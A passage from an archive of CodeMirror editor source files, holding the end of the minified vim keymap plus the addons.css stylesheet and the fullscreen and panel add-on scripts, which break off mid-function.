d=b.repeat||1,e=a.defaultTextHeight(),f=a.getScrollInfo().top,g=e*d,h=b.forward?f+g:f-g,i=W(a.getCursor()),j=a.charCoords(i,"local");if(b.forward)h>j.top?(i.line+=(h-j.top)/e,i.line=Math.ceil(i.line),a.setCursor(i),j=a.charCoords(i,"local"),a.scrollTo(null,j.top)):a.scrollTo(null,h);else{var
k=h+a.getScrollInfo().clientHeight;k<j.bottom?(i.line-=(j.bottom-k)/e,i.line=Math.floor(i.line),a.setCursor(i),j=a.charCoords(i,"local"),a.scrollTo(null,j.bottom-a.getScrollInfo().clientHeight)):a.scrollTo(null,h)}}},scrollToCursor:function(a,b){var
c=a.getCursor().line,d=a.charCoords(e(c,0),"local"),f=a.getScrollInfo().clientHeight,g=d.top,h=d.bottom-g;switch(b.position){case"center":g=g-f/2+h;break;case"bottom":g=g-f+h}a.scrollTo(null,g)},replayMacro:function(a,b,c){var
d=b.selectedCharacter,e=b.repeat,f=Fb.macroModeState;for("@"==d?d=f.latestRegister:f.latestRegister=d;e--;)fb(a,c,f,d)},enterMacroRecordMode:function(a,b){var
c=Fb.macroModeState,d=b.selectedCharacter;Fb.registerController.isValidRegister(d)&&c.enterMacroRecordMode(a,d)},toggleOverwrite:function(b){b.state.overwrite?(b.toggleOverwrite(!1),b.setOption("keyMap","vim-insert"),a.signal(b,"vim-mode-change",{mode:"insert"})):(b.toggleOverwrite(!0),b.setOption("keyMap","vim-replace"),a.signal(b,"vim-mode-change",{mode:"replace"}))},enterInsertMode:function(b,c,d){if(!b.getOption("readOnly")){d.insertMode=!0,d.insertModeRepeat=c&&c.repeat||1;var
f=c?c.insertAt:null,g=d.sel,h=c.head||b.getCursor("head"),i=b.listSelections().length;if("eol"==f)h=e(h.line,aa(b,h.line));else
if("bol"==f)h=e(h.line,0);else
if("charAfter"==f)h=R(h,0,1);else
if("firstNonBlank"==f)h=Jb.moveToFirstNonWhiteSpaceCharacter(b,h);else
if("startOfSelectedArea"==f){if(!d.visualMode)return;d.visualBlock?(h=e(Math.min(g.head.line,g.anchor.line),Math.min(g.head.ch,g.anchor.ch)),i=Math.abs(g.head.line-g.anchor.line)+1):h=g.head.line<g.anchor.line?g.head:e(g.anchor.line,0)}else
if("endOfSelectedArea"==f){if(!d.visualMode)return;d.visualBlock?(h=e(Math.min(g.head.line,g.anchor.line),Math.max(g.head.ch+1,g.anchor.ch)),i=Math.abs(g.head.line-g.anchor.line)+1):h=g.head.line>=g.anchor.line?R(g.head,0,1):e(g.anchor.line,0)}else
if("inplace"==f){if(d.visualMode)return}else"lastEdit"==f&&(h=ab(b)||h);b.setOption("disableInput",!1),c&&c.replace?(b.toggleOverwrite(!0),b.setOption("keyMap","vim-replace"),a.signal(b,"vim-mode-change",{mode:"replace"})):(b.toggleOverwrite(!1),b.setOption("keyMap","vim-insert"),a.signal(b,"vim-mode-change",{mode:"insert"})),Fb.macroModeState.isPlaying||(b.on("change",jb),a.on(b.getInputField(),"keydown",pb)),d.visualMode&&na(b),fa(b,h,i)}},toggleVisualMode:function(b,c,d){var
f,g=c.repeat,h=b.getCursor();d.visualMode?d.visualLine^c.linewise||d.visualBlock^c.blockwise?(d.visualLine=!!c.linewise,d.visualBlock=!!c.blockwise,a.signal(b,"vim-mode-change",{mode:"visual",subMode:d.visualLine?"linewise":d.visualBlock?"blockwise":""}),ka(b)):na(b):(d.visualMode=!0,d.visualLine=!!c.linewise,d.visualBlock=!!c.blockwise,f=P(b,e(h.line,h.ch+g-1)),d.sel={anchor:h,head:f},a.signal(b,"vim-mode-change",{mode:"visual",subMode:d.visualLine?"linewise":d.visualBlock?"blockwise":""}),ka(b),za(b,d,"<",Z(h,f)),za(b,d,">",$(h,f)))},reselectLastSelection:function(b,c,d){var
e=d.lastSelection;if(d.visualMode&&ia(b,d),e){var
f=e.anchorMark.find(),g=e.headMark.find();if(!f||!g)return;d.sel={anchor:f,head:g},
d.visualMode=!0,d.visualLine=e.visualLine,d.visualBlock=e.visualBlock,ka(b),za(b,d,"<",Z(f,g)),za(b,d,">",$(f,g)),a.signal(b,"vim-mode-change",{mode:"visual",subMode:d.visualLine?"linewise":d.visualBlock?"blockwise":""})}},joinLines:function(a,b,c){var
d,f;if(c.visualMode){if(d=a.getCursor("anchor"),f=a.getCursor("head"),Y(f,d)){var
g=f;f=d,d=g}f.ch=aa(a,f.line)-1}else{var
h=Math.max(b.repeat,2);d=a.getCursor(),f=P(a,e(d.line+h-1,1/0))}for(var
i=0,j=d.line;j<f.line;j++){i=aa(a,d.line);var
g=e(d.line+1,aa(a,d.line+1)),k=a.getRange(d,g);k=b.keepSpaces?k.replace(/\n\r?/g,""):k.replace(/\n\s*/g,"
"),a.replaceRange(k,d,g)}var
l=e(d.line,i);c.visualMode&&na(a,!1),a.setCursor(l)},newLineAndEnterInsertMode:function(b,c,d){d.insertMode=!0;var
f=W(b.getCursor());if(f.line!==b.firstLine()||c.after){f.line=c.after?f.line:f.line-1,f.ch=aa(b,f.line),b.setCursor(f);(a.commands.newlineAndIndentContinueComment||a.commands.newlineAndIndent)(b)}else
b.replaceRange("\n",e(b.firstLine(),0)),b.setCursor(b.firstLine(),0);this.enterInsertMode(b,{repeat:c.repeat},d)},paste:function(a,b,c){var
d=W(a.getCursor()),f=Fb.registerController.getRegister(b.registerName),g=f.toString();if(g){if(b.matchIndent){var
h=a.getOption("tabSize"),i=function(a){var
b=a.split("\t").length-1,c=a.split(" ").length-1;return
b*h+1*c},j=a.getLine(a.getCursor().line),k=i(j.match(/^\s*/)[0]),l=g.replace(/\n$/,""),m=g!==l,n=i(g.match(/^\s*/)[0]),g=l.replace(/^\s*/gm,(function(b){var
c=k+(i(b)-n);if(c<0)return"";if(a.getOption("indentWithTabs")){var
d=Math.floor(c/h);return Array(d+1).join("\t")}return
Array(c+1).join("
")}));g+=m?"\n":""}if(b.repeat>1)var
g=Array(b.repeat+1).join(g);var
o=f.linewise,p=f.blockwise;if(p){g=g.split("\n"),o&&g.pop();for(var
q=0;q<g.length;q++)g[q]=""==g[q]?"
":g[q];d.ch+=b.after?1:0,d.ch=Math.min(aa(a,d.line),d.ch)}else
o?c.visualMode?g=c.visualLine?g.slice(0,-1):"\n"+g.slice(0,g.length-1)+"\n":b.after?(g="\n"+g.slice(0,g.length-1),d.ch=aa(a,d.line)):d.ch=0:d.ch+=b.after?1:0;var
r,s;if(c.visualMode){c.lastPastedText=g;var
t,u=ha(a,c),v=u[0],w=u[1],x=a.getSelection(),y=a.listSelections(),z=new
Array(y.length).join("1").split("1");c.lastSelection&&(t=c.lastSelection.headMark.find()),Fb.registerController.unnamedRegister.setText(x),p?(a.replaceSelections(z),w=e(v.line+g.length-1,v.ch),a.setCursor(v),ea(a,w),a.replaceSelections(g),r=v):c.visualBlock?(a.replaceSelections(z),a.setCursor(v),a.replaceRange(g,v,v),r=v):(a.replaceRange(g,v,w),r=a.posFromIndex(a.indexFromPos(v)+g.length-1)),t&&(c.lastSelection.headMark=a.setBookmark(t)),o&&(r.ch=0)}else
if(p){a.setCursor(d);for(var q=0;q<g.length;q++){var
A=d.line+q;A>a.lastLine()&&a.replaceRange("\n",e(A,0));var
B=aa(a,A);B<d.ch&&da(a,A,d.ch)}a.setCursor(d),ea(a,e(d.line+g.length-1,d.ch)),a.replaceSelections(g),r=d}else
a.replaceRange(g,d),o&&b.after?r=e(d.line+1,qa(a.getLine(d.line+1))):o&&!b.after?r=e(d.line,qa(a.getLine(d.line))):!o&&b.after?(s=a.indexFromPos(d),r=a.posFromIndex(s+g.length-1)):(s=a.indexFromPos(d),r=a.posFromIndex(s+g.length));c.visualMode&&na(a,!1),a.setCursor(r)}},undo:function(b,c){b.operation((function(){V(b,a.commands.undo,c.repeat)(),b.setCursor(b.getCursor("anchor"))}))},redo:function(b,c){V(b,a.commands.redo,c.repeat)()},setRegister:function(a,b,c){c.inputState.registerName=b.selectedCharacter},setMark:function(a,b,c){za(a,c,b.selectedCharacter,a.getCursor())},replace:function(b,c,d){var
f,g,h=c.selectedCharacter,i=b.getCursor(),j=b.listSelections();if(d.visualMode)i=b.getCursor("start"),g=b.getCursor("end");else{var
k=b.getLine(i.line);f=i.ch+c.repeat,f>k.length&&(f=k.length),g=e(i.line,f)}if("\n"==h)d.visualMode||b.replaceRange("",i,g),(a.commands.newlineAndIndentContinueComment||a.commands.newlineAndIndent)(b);else{var
l=b.getRange(i,g);if(l=l.replace(/[^\n]/g,h),d.visualBlock){var m=new
Array(b.getOption("tabSize")+1).join("
");l=b.getSelection(),l=l.replace(/\t/g,m).replace(/[^\n]/g,h).split("\n"),b.replaceSelections(l)}else
b.replaceRange(l,i,g);d.visualMode?(i=Y(j[0].anchor,j[0].head)?j[0].anchor:j[0].head,b.setCursor(i),na(b,!1)):b.setCursor(R(g,0,-1))}},incrementNumberToken:function(a,b){for(var
c,d,f,g,h=a.getCursor(),i=a.getLine(h.line),j=/(-?)(?:(0x)([\da-f]+)|(0b|0|)(\d+))/gi;null!==(c=j.exec(i))&&(d=c.index,f=d+c[0].length,!(h.ch<f)););if((b.backtrack||!(f<=h.ch))&&c){var
k=c[2]||c[4],l=c[3]||c[5],m=b.increase?1:-1,n={"0b":2,0:8,"":10,"0x":16}[k.toLowerCase()];g=(parseInt(c[1]+l,n)+m*b.repeat).toString(n);var
o=k?new
Array(l.length-g.length+1+c[1].length).join("0"):"";g="-"===g.charAt(0)?"-"+k+o+g.substr(1):k+o+g;var
p=e(h.line,d),q=e(h.line,f);a.replaceRange(g,p,q),a.setCursor(e(h.line,d+g.length-1))}},repeatLastEdit:function(a,b,c){if(c.lastEditInputState){var
d=b.repeat;d&&b.repeatIsExplicit?c.lastEditInputState.repeatOverride=d:d=c.lastEditInputState.repeatOverride||d,qb(a,c,d,!1)}},indent:function(a,b){a.indentLine(a.getCursor().line,b.indentRight)},exitInsertMode:cb},Mb={"(":"bracket",")":"bracket","{":"bracket","}":"bracket","[":"section","]":"section","*":"comment","/":"comment",m:"method",M:"method","#":"preprocess"},Nb={bracket:{isComplete:function(a){if(a.nextCh===a.symb){if(++a.depth>=1)return!0}else
a.nextCh===a.reverseSymb&&a.depth--;return!1}},section:{init:function(a){a.curMoveThrough=!0,a.symb=(a.forward?"]":"[")===a.symb?"{":"}"},isComplete:function(a){return
0===a.index&&a.nextCh===a.symb}},comment:{isComplete:function(a){var
b="*"===a.lastCh&&"/"===a.nextCh;return
a.lastCh=a.nextCh,b}},method:{init:function(a){a.symb="m"===a.symb?"{":"}",a.reverseSymb="{"===a.symb?"}":"{"},isComplete:function(a){return
a.nextCh===a.symb}},preprocess:{init:function(a){a.index=0},isComplete:function(a){if("#"===a.nextCh){var
b=a.lineText.match(/#(\w+)/)[1];if("endif"===b){if(a.forward&&0===a.depth)return!0;a.depth++}else
if("if"===b){if(!a.forward&&0===a.depth)return!0;a.depth--}if("else"===b&&0===a.depth)return!0}return!1}}};z("pcre",!0,"boolean"),Fa.prototype={getQuery:function(){return
Fb.query},setQuery:function(a){Fb.query=a},getOverlay:function(){return
this.searchOverlay},setOverlay:function(a){this.searchOverlay=a},isReversed:function(){return
Fb.isReversed},setReversed:function(a){Fb.isReversed=a},getScrollbarAnnotate:function(){return
this.annotate},setScrollbarAnnotate:function(a){this.annotate=a}};var
Ob={"\\n":"\n","\\r":"\r","\\t":"\t"},Pb={"\\/":"/","\\\\":"\\","\\n":"\n","\\r":"\r","\\t":"\t","\\&":"&"},Qb="(Javascript
regexp)",Rb=0,Sb=function(){this.buildCommandMap_()};Sb.prototype={processCommand:function(a,b,c){var
d=this;a.operation((function(){a.curOp.isVimOp=!0,d._processCommand(a,b,c)}))},_processCommand:function(b,c,d){var
e=b.state.vim,f=Fb.registerController.getRegister(":"),g=f.toString();e.visualMode&&na(b);var
h=new a.StringStream(c);f.setText(c);var
i=d||{};i.input=c;try{this.parseInput_(b,h,i)}catch(a){throw Qa(b,a),a}var
j,k;if(i.commandName){if(j=this.matchCommand_(i.commandName)){if(k=j.name,j.excludeFromCommandHistory&&f.setText(g),this.parseCommandArgs_(h,i,j),"exToKey"==j.type){for(var
l=0;l<j.toKeys.length;l++)a.Vim.handleKey(b,j.toKeys[l],"mapping");return}if("exToEx"==j.type)return
void this.processCommand(b,j.toInput)}}else void
0!==i.line&&(k="move");if(!k)return void Qa(b,'Not
an editor command
":'+c+'"');try{Tb[k](b,i),j&&j.possiblyAsync||!i.callback||i.callback()}catch(a){throw
Qa(b,a),a}},parseInput_:function(a,b,c){b.eatWhile(":"),b.eat("%")?(c.line=a.firstLine(),c.lineEnd=a.lastLine()):(c.line=this.parseLineSpec_(a,b),void
0!==c.line&&b.eat(",")&&(c.lineEnd=this.parseLineSpec_(a,b)));var
d=b.match(/^(\w+|!!|@@|[!#&*<=>@~])/);return
c.commandName=d?d[1]:b.match(/.*/)[0],c},parseLineSpec_:function(a,b){var
c=b.match(/^(\d+)/);if(c)return
parseInt(c[1],10)-1;switch(b.next()){case".":return
this.parseLineSpecOffset_(b,a.getCursor().line);case"$":return
this.parseLineSpecOffset_(b,a.lastLine());case"'":var
d=b.next(),e=_a(a,a.state.vim,d);if(!e)throw new Error("Mark not
set");return
this.parseLineSpecOffset_(b,e.line);case"-":case"+":return
b.backUp(1),this.parseLineSpecOffset_(b,a.getCursor().line);default:return
void b.backUp(1)}},parseLineSpecOffset_:function(a,b){var
c=a.match(/^([+-])?(\d+)/);if(c){var
d=parseInt(c[2],10);"-"==c[1]?b-=d:b+=d}return
b},parseCommandArgs_:function(a,b,c){if(!a.eol()){b.argString=a.match(/.*/)[0];var
d=c.argDelimiter||/\s+/,e=ba(b.argString).split(d);e.length&&e[0]&&(b.args=e)}},matchCommand_:function(a){for(var
b=a.length;b>0;b--){var c=a.substring(0,b);if(this.commandMap_[c]){var
d=this.commandMap_[c];if(0===d.name.indexOf(a))return d}}return
null},buildCommandMap_:function(){this.commandMap_={};for(var
a=0;a<d.length;a++){var
b=d[a],c=b.shortName||b.name;this.commandMap_[c]=b}},map:function(a,c,d){if(":"!=a&&":"==a.charAt(0)){if(d)throw
Error("Mode not supported for ex mappings");var
e=a.substring(1);":"!=c&&":"==c.charAt(0)?this.commandMap_[e]={name:e,type:"exToEx",toInput:c.substring(1),user:!0}:this.commandMap_[e]={name:e,type:"exToKey",toKeys:c,user:!0}}else
if(":"!=c&&":"==c.charAt(0)){var
f={keys:a,type:"keyToEx",exArgs:{input:c.substring(1)}};d&&(f.context=d),b.unshift(f)}else{var
f={keys:a,type:"keyToKey",toKeys:c};d&&(f.context=d),b.unshift(f)}},unmap:function(a,c){if(":"!=a&&":"==a.charAt(0)){if(c)throw
Error("Mode not supported for ex mappings");var
d=a.substring(1);if(this.commandMap_[d]&&this.commandMap_[d].user)return
void delete this.commandMap_[d]}else for(var
e=a,f=0;f<b.length;f++)if(e==b[f].keys&&b[f].context===c)return
void b.splice(f,1);throw Error("No such mapping.")}};var
Tb={colorscheme:function(a,b){if(!b.args||b.args.length<1)return void
Qa(a,a.getOption("theme"));a.setOption("theme",b.args[0])},map:function(a,b,c){var
d=b.args;if(!d||d.length<2)return void(a&&Qa(a,"Invalid
mapping:
"+b.input));Ub.map(d[0],d[1],c)},imap:function(a,b){this.map(a,b,"insert")},nmap:function(a,b){this.map(a,b,"normal")},vmap:function(a,b){this.map(a,b,"visual")},unmap:function(a,b,c){var
d=b.args;if(!d||d.length<1)return void(a&&Qa(a,"No such
mapping:
"+b.input));Ub.unmap(d[0],c)},move:function(a,b){Ib.processCommand(a,a.state.vim,{type:"motion",motion:"moveToLineOrEdgeOfDocument",motionArgs:{forward:!1,explicitRepeat:!0,linewise:!0},repeatOverride:b.line+1})},set:function(a,b){var
c=b.args,d=b.setCfg||{};if(!c||c.length<1)return
void(a&&Qa(a,"Invalid mapping: "+b.input));var
e=c[0].split("="),f=e[0],g=e[1],h=!1;if("?"==f.charAt(f.length-1)){if(g)throw
Error("Trailing characters:
"+b.argString);f=f.substring(0,f.length-1),h=!0}void
0===g&&"no"==f.substring(0,2)&&(f=f.substring(2),g=!1);var
i=Cb[f]&&"boolean"==Cb[f].type;if(i&&void
0==g&&(g=!0),!i&&void 0===g||h){var j=B(f,a,d);j instanceof
Error?Qa(a,j.message):!0===j||!1===j?Qa(a,"
"+(j?"":"no")+f):Qa(a," 
"+f+"="+j)}else{var k=A(f,g,a,d);k instanceof
Error&&Qa(a,k.message)}},setlocal:function(a,b){b.setCfg={scope:"local"},this.set(a,b)},setglobal:function(a,b){b.setCfg={scope:"global"},this.set(a,b)},registers:function(a,b){var
c=b.args,d=Fb.registerController.registers,e="----------Registers----------<br><br>";if(c){var
f;c=c.join("");for(var
g=0;g<c.length;g++)if(f=c.charAt(g),Fb.registerController.isValidRegister(f)){var
h=d[f]||new H;e+='"'+f+"   
"+h.toString()+"<br>"}}else for(var f in d){var
i=d[f].toString();i.length&&(e+='"'+f+"   
"+i+"<br>")}Qa(a,e)},sort:function(b,c){function
d(a,b){if(g){var
c;c=a,a=b,b=c}h&&(a=a.toLowerCase(),b=b.toLowerCase());var
d=j&&r.exec(a),e=j&&r.exec(b);return
d?(d=parseInt((d[1]+d[2]).toLowerCase(),s),e=parseInt((e[1]+e[2]).toLowerCase(),s),d-e):a<b?-1:1}function
f(a,b){if(g){var c;c=a,a=b,b=c}return
h&&(a[0]=a[0].toLowerCase(),b[0]=b[0].toLowerCase()),a[0]<b[0]?-1:1}var
g,h,i,j,k,l=(function(){if(c.argString){var b=new
a.StringStream(c.argString);if(b.eat("!")&&(g=!0),b.eol())return;if(!b.eatSpace())return"Invalid
arguments";var
d=b.match(/([dinuox]+)?\s*(\/.+\/)?\s*/);if(!d&&!b.eol())return"Invalid
arguments";if(d[1]){h=-1!=d[1].indexOf("i"),i=-1!=d[1].indexOf("u");var
e=-1!=d[1].indexOf("d")||-1!=d[1].indexOf("n")&&1,f=-1!=d[1].indexOf("x")&&1,l=-1!=d[1].indexOf("o")&&1;if(e+f+l>1)return"Invalid
arguments";j=e&&"decimal"||f&&"hex"||l&&"octal"}d[2]&&(k=new
RegExp(d[2].substr(1,d[2].length-2),h?"i":""))}})();if(l)return
void Qa(b,l+": "+c.argString);var
m=c.line||b.firstLine(),n=c.lineEnd||c.line||b.lastLine();if(m!=n){var
o=e(m,0),p=e(n,aa(b,n)),q=b.getRange(o,p).split("\n"),r=k||("decimal"==j?/(-?)([\d]+)/:"hex"==j?/(-?)(?:0x)?([0-9a-f]+)/i:"octal"==j?/([0-7]+)/:null),s="decimal"==j?10:"hex"==j?16:"octal"==j?8:null,t=[],u=[];if(j||k)for(var
v=0;v<q.length;v++){var
w=k?q[v].match(k):null;w&&""!=w[0]?t.push(w):!k&&r.exec(q[v])?t.push(q[v]):u.push(q[v])}else
u=q;if(t.sort(k?f:d),k)for(var v=0;v<t.length;v++)t[v]=t[v].input;else
j||u.sort(d);if(q=g?t.concat(u):u.concat(t),i){var x,y=q;q=[];for(var
v=0;v<y.length;v++)y[v]!=x&&q.push(y[v]),x=y[v]}b.replaceRange(q.join("\n"),o,p)}},global:function(a,b){var
c=b.argString;if(!c)return void Qa(a,"Regular Expression missing from
global");var d,e=void
0!==b.line?b.line:a.firstLine(),f=b.lineEnd||b.line||a.lastLine(),g=Ia(c),h=c;if(g.length&&(h=g[0],d=g.slice(1,g.length).join("/")),h)try{Ua(a,h,!0,!0)}catch(b){return
void Qa(a,"Invalid regex: "+h)}for(var
i=Ga(a).getQuery(),j=[],k="",l=e;l<=f;l++){i.test(a.getLine(l))&&(j.push(l+1),k+=a.getLine(l)+"<br>")}if(!d)return
void Qa(a,k);var m=0,n=function(){if(m<j.length){var
b=j[m]+d;Ub.processCommand(a,b,{callback:n})}m++};n()},substitute:function(a,b){if(!a.getSearchCursor)throw
new Error("Search feature not available. Requires searchcursor.js or
any other getSearchCursor implementation.");var
c,d,f,g,h=b.argString,i=h?Ka(h,h[0]):[],j="",k=!1,l=!1;if(i.length)c=i[0],B("pcre")&&""!==c&&(c=new
RegExp(c).source),j=i[1],c&&"$"===c[c.length-1]&&(c=c.slice(0,c.length-1)+"\\n",j=j?j+"\n":"\n"),void
0!==j&&(j=B("pcre")?Oa(j.replace(/([^\\])&/g,"$1$$&")):Na(j),Fb.lastSubstituteReplacePart=j),d=i[2]?i[2].split("
"):[];else if(h&&h.length)return void Qa(a,"Substitutions
should be of the form
:s/pattern/replace/");if(d&&(f=d[0],g=parseInt(d[1]),f&&(-1!=f.indexOf("c")&&(k=!0,f.replace("c","")),-1!=f.indexOf("g")&&(l=!0,f.replace("g","")),c=B("pcre")?c+"/"+f:c.replace(/\//g,"\\/")+"/"+f)),c)try{Ua(a,c,!0,!0)}catch(b){return
void Qa(a,"Invalid regex: "+c)}if(void
0===(j=j||Fb.lastSubstituteReplacePart))return void Qa(a,"No previous
substitute regular expression");var m=Ga(a),n=m.getQuery(),o=void
0!==b.line?b.line:a.getCursor().line,p=b.lineEnd||o;o==a.firstLine()&&p==a.lastLine()&&(p=1/0),g&&(o=p,p=o+g-1);var
q=P(a,e(o,0)),r=a.getSearchCursor(n,q);bb(a,k,l,o,p,r,n,j,b.callback)},redo:a.commands.redo,undo:a.commands.undo,write:function(b){a.commands.save?a.commands.save(b):b.save&&b.save()},nohlsearch:function(a){Ya(a)},yank:function(a){var
b=W(a.getCursor()),c=b.line,d=a.getLine(c);Fb.registerController.pushText("0","yank",d,!0,!0)},delmarks:function(b,c){if(!c.argString||!ba(c.argString))return
void Qa(b,"Argument required");for(var d=b.state.vim,e=new
a.StringStream(ba(c.argString));!e.eol();){e.eatSpace();var
f=e.pos;if(!e.match(/[a-zA-Z]/,!1))return void Qa(b,"Invalid argument:
"+c.argString.substring(f));var
g=e.next();if(e.match("-",!0)){if(!e.match(/[a-zA-Z]/,!1))return
void Qa(b,"Invalid argument: "+c.argString.substring(f));var
h=g,i=e.next();if(!(s(h)&&s(i)||v(h)&&v(i)))return void
Qa(b,"Invalid argument: "+h+"-");var
j=h.charCodeAt(0),k=i.charCodeAt(0);if(j>=k)return void
Qa(b,"Invalid argument: "+c.argString.substring(f));for(var
l=0;l<=k-j;l++){var m=String.fromCharCode(j+l);delete d.marks[m]}}else
delete d.marks[g]}}},Ub=new Sb;return
a.keyMap.vim={attach:i,detach:h,call:n},z("insertModeEscKeysTimeout",200,"number"),a.keyMap["vim-insert"]={fallthrough:["default"],attach:i,detach:h,call:n},a.keyMap["vim-replace"]={Backspace:"goCharLeft",fallthrough:["vim-insert"],attach:i,detach:h,call:n},E(),Hb})()}));PKA��[dVr,,codemirror/lib/addons.cssnu�[���.CodeMirror-fullscreen
{
  position: fixed;
  top: 0; left: 0; right: 0; bottom: 0;
  height: auto;
  z-index: 9;
}

.CodeMirror-foldmarker {
  color: blue;
  text-shadow: #b9f 1px 1px 2px, #b9f -1px -1px 2px, #b9f 1px -1px 2px,
#b9f -1px 1px 2px;
  font-family: arial;
  line-height: .3;
  cursor: pointer;
}
.CodeMirror-foldgutter {
  width: .7em;
}
.CodeMirror-foldgutter-open,
.CodeMirror-foldgutter-folded {
  cursor: pointer;
}
.CodeMirror-foldgutter-open:after {
  content: "\25BE";
}
.CodeMirror-foldgutter-folded:after {
  content: "\25B8";
}

.CodeMirror-search-match {
  background: gold;
  border-top: 1px solid orange;
  border-bottom: 1px solid orange;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
  opacity: .5;
}

.CodeMirror-simplescroll-horizontal div, .CodeMirror-simplescroll-vertical
div {
  position: absolute;
  background: #ccc;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
  border: 1px solid #bbb;
  border-radius: 2px;
}

.CodeMirror-simplescroll-horizontal, .CodeMirror-simplescroll-vertical {
  position: absolute;
  z-index: 6;
  background: #eee;
}

.CodeMirror-simplescroll-horizontal {
  bottom: 0; left: 0;
  height: 8px;
}
.CodeMirror-simplescroll-horizontal div {
  bottom: 0;
  height: 100%;
}

.CodeMirror-simplescroll-vertical {
  right: 0; top: 0;
  width: 8px;
}
.CodeMirror-simplescroll-vertical div {
  right: 0;
  width: 100%;
}


.CodeMirror-overlayscroll .CodeMirror-scrollbar-filler,
.CodeMirror-overlayscroll .CodeMirror-gutter-filler {
  display: none;
}

.CodeMirror-overlayscroll-horizontal div,
.CodeMirror-overlayscroll-vertical div {
  position: absolute;
  background: #bcd;
  border-radius: 3px;
}

.CodeMirror-overlayscroll-horizontal, .CodeMirror-overlayscroll-vertical {
  position: absolute;
  z-index: 6;
}

.CodeMirror-overlayscroll-horizontal {
  bottom: 0; left: 0;
  height: 6px;
}
.CodeMirror-overlayscroll-horizontal div {
  bottom: 0;
  height: 100%;
}

.CodeMirror-overlayscroll-vertical {
  right: 0; top: 0;
  width: 6px;
}
.CodeMirror-overlayscroll-vertical div {
  right: 0;
  width: 100%;
}
PKA��[�����codemirror/lib/addons.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("fullScreen", false, function(cm, val,
old) {
    if (old == CodeMirror.Init) old = false;
    if (!old == !val) return;
    if (val) setFullscreen(cm);
    else setNormal(cm);
  });

  function setFullscreen(cm) {
    var wrap = cm.getWrapperElement();
    cm.state.fullScreenRestore = {scrollTop: window.pageYOffset,
scrollLeft: window.pageXOffset,
                                  width: wrap.style.width, height:
wrap.style.height};
    wrap.style.width = "";
    wrap.style.height = "auto";
    wrap.className += " CodeMirror-fullscreen";
    document.documentElement.style.overflow = "hidden";
    cm.refresh();
  }

  function setNormal(cm) {
    var wrap = cm.getWrapperElement();
    wrap.className = wrap.className.replace(/\s*CodeMirror-fullscreen\b/,
"");
    document.documentElement.style.overflow = "";
    var info = cm.state.fullScreenRestore;
    wrap.style.width = info.width; wrap.style.height = info.height;
    window.scrollTo(info.scrollLeft, info.scrollTop);
    cm.refresh();
  }
});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function (mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function (CodeMirror) {
  CodeMirror.defineExtension("addPanel", function (node, options)
{
    options = options || {};

    if (!this.state.panels) initPanels(this);

    var info = this.state.panels;
    var wrapper = info.wrapper;
    var cmWrapper = this.getWrapperElement();
    var replace = options.replace instanceof Panel &&
!options.replace.cleared;

    if (options.after instanceof Panel && !options.after.cleared) {
      wrapper.insertBefore(node, options.before.node.nextSibling);
    } else if (options.before instanceof Panel &&
!options.before.cleared) {
      wrapper.insertBefore(node, options.before.node);
    } else if (replace) {
      wrapper.insertBefore(node, options.replace.node);
      options.replace.clear(true);
    } else if (options.position == "bottom") {
      wrapper.appendChild(node);
    } else if (options.position == "before-bottom") {
      wrapper.insertBefore(node, cmWrapper.nextSibling);
    } else if (options.position == "after-top") {
      wrapper.insertBefore(node, cmWrapper);
    } else {
      wrapper.insertBefore(node, wrapper.firstChild);
    }

    var height = (options && options.height) || node.offsetHeight;

    var panel = new Panel(this, node, options, height);
    info.panels.push(panel);

    this.setSize();
    if (options.stable && isAtTop(this, node))
      this.scrollTo(null, this.getScrollInfo().top + height);

    return panel;
  });

  function Panel(cm, node, options, height) {
    this.cm = cm;
    this.node = node;
    this.options = options;
    this.height = height;
    this.cleared = false;
  }

  /* when skipRemove is true, clear() was called from addPanel().
   * Thus removePanels() should not be called (issue 5518) */
  Panel.prototype.clear = function (skipRemove) {
    if (this.cleared) return;
    this.cleared = true;
    var info = this.cm.state.panels;
    info.panels.splice(info.panels.indexOf(this), 1);
    this.cm.setSize();
    if (this.options.stable && isAtTop(this.cm, this.node))
      this.cm.scrollTo(null, this.cm.getScrollInfo().top - this.height)
    info.wrapper.removeChild(this.node);
    if (info.panels.length == 0 && !skipRemove)
removePanels(this.cm);
  };

  Panel.prototype.changed = function () {
    this.height = this.node.getBoundingClientRect().height;
    this.cm.setSize();
  };

  function initPanels(cm) {
    var wrap = cm.getWrapperElement();
    var style = window.getComputedStyle ? window.getComputedStyle(wrap) :
wrap.currentStyle;
    var height = parseInt(style.height);
    var info = cm.state.panels = {
      setHeight: wrap.style.height,
      panels: [],
      wrapper: document.createElement("div")
    };
    wrap.parentNode.insertBefore(info.wrapper, wrap);
    var hasFocus = cm.hasFocus();
    info.wrapper.appendChild(wrap);
    if (hasFocus) cm.focus();

    cm._setSize = cm.setSize;
    if (height != null) cm.setSize = function (width, newHeight) {
      if (!newHeight) newHeight = info.wrapper.offsetHeight;
      info.setHeight = newHeight;
      if (typeof newHeight != "number") {
        var px = /^(\d+\.?\d*)px$/.exec(newHeight);
        if (px) {
          newHeight = Number(px[1]);
        } else {
          info.wrapper.style.height = newHeight;
          newHeight = info.wrapper.offsetHeight;
        }
      }
      var editorheight = newHeight - info.panels
        .map(function (p) { return p.node.getBoundingClientRect().height;
})
        .reduce(function (a, b) { return a + b; }, 0);
      cm._setSize(width, editorheight);
      height = newHeight;
    };
  }

  function removePanels(cm) {
    var info = cm.state.panels;
    cm.state.panels = null;

    var wrap = cm.getWrapperElement();
    info.wrapper.parentNode.replaceChild(wrap, info.wrapper);
    wrap.style.height = info.setHeight;
    cm.setSize = cm._setSize;
    cm.setSize();
  }

  function isAtTop(cm, dom) {
    for (var sibling = dom.nextSibling; sibling; sibling =
sibling.nextSibling)
